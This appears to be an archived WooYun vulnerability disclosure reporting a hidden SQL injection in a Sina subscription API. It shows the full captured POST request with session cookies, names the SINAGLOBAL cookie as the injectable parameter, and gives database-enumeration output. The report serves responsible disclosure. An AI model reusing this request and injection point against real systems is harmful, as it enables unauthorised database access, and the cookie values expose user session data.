乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-26: 细节已通知厂商并且等待厂商处理中 2015-12-28: 厂商已经确认,细节仅向厂商公开 2016-01-07: 细节向核心白帽子及相关领域专家公开 2016-01-17: 细节向普通白帽子公开 2016-01-27: 细节向实习白帽子公开 2016-02-09: 细节向公众公开
新浪某重要站一处隐秘SQL注入
PS:大晚上的给你们测,来点分吧好家伙,测了半天,这问题还真是隐秘,抓到的一个api接口
新浪女性:http://eladies.sina.com.cn/
POST /subscribe/api/subscribe/replace?callback=SINAFEEDCARD_COLUMNS_EDIT_DONE1 HTTP/1.1Host: user.mix.sina.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://eladies.sina.com.cn/Cookie: UOR=www.baidu.com,blog.sina.com.cn,; U_TRS1=0000004d.a6f73a71.561d5fa9.39fe612a; SINAGLOBAL=218.88.5.77_1444765609.861120; ULV=1451065910374:15:11:8:118.113.44.240_1451065894.128828:1451065894923; vjuids=-729f853b7.15062bf3e35.0.ca6996cc26125; vjlast=1451065897.1451065910.10; SGUID=1444765720537_53848067; SUB=_2AkMhQ_sJf8NhqwJRmPoTzmnqaopxzgHEiebDAH_sJxJjHn4R7ATyI2TWBLe0izdFJW3NlyMrT0mT; SUBP=0033WrSXqPxfM72-Ws9jqgMF55529P9D9W5T7zv7C5MpTzkl0.yMn9G2; lxlrttp=1451047290; ArtiFSize=14; Apache=118.113.44.240_1451065894.128828; usrmdpool=usrmdinst_7; rotatecount=3; U_TRS2=000000f0.c35bced.567d823a.841f2e59Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 239from=pc&data%5B0%5D%5Bc%5D=-101&data%5B0%5D%5Bw%5D=0&data%5B1%5D%5Bc%5D=18&data%5B1%5D%5Bw%5D=1&data%5B2%5D%5Bc%5D=19&data%5B2%5D%5Bw%5D=2&data%5B3%5D%5Bc%5D=100&data%5B3%5D%5Bw%5D=3&data%5B4%5D%5Bc%5D=20&data%5B4%5D%5Bw%5D=4&project_id=20
注入参数#SINAGLOBAL
available databases [3]:[*] information_schema[*] test[*] usersubscribe
current user: '[email protected].%'
过滤
危害等级:中
漏洞Rank:8
确认时间:2015-12-28 13:27
感谢支持
暂无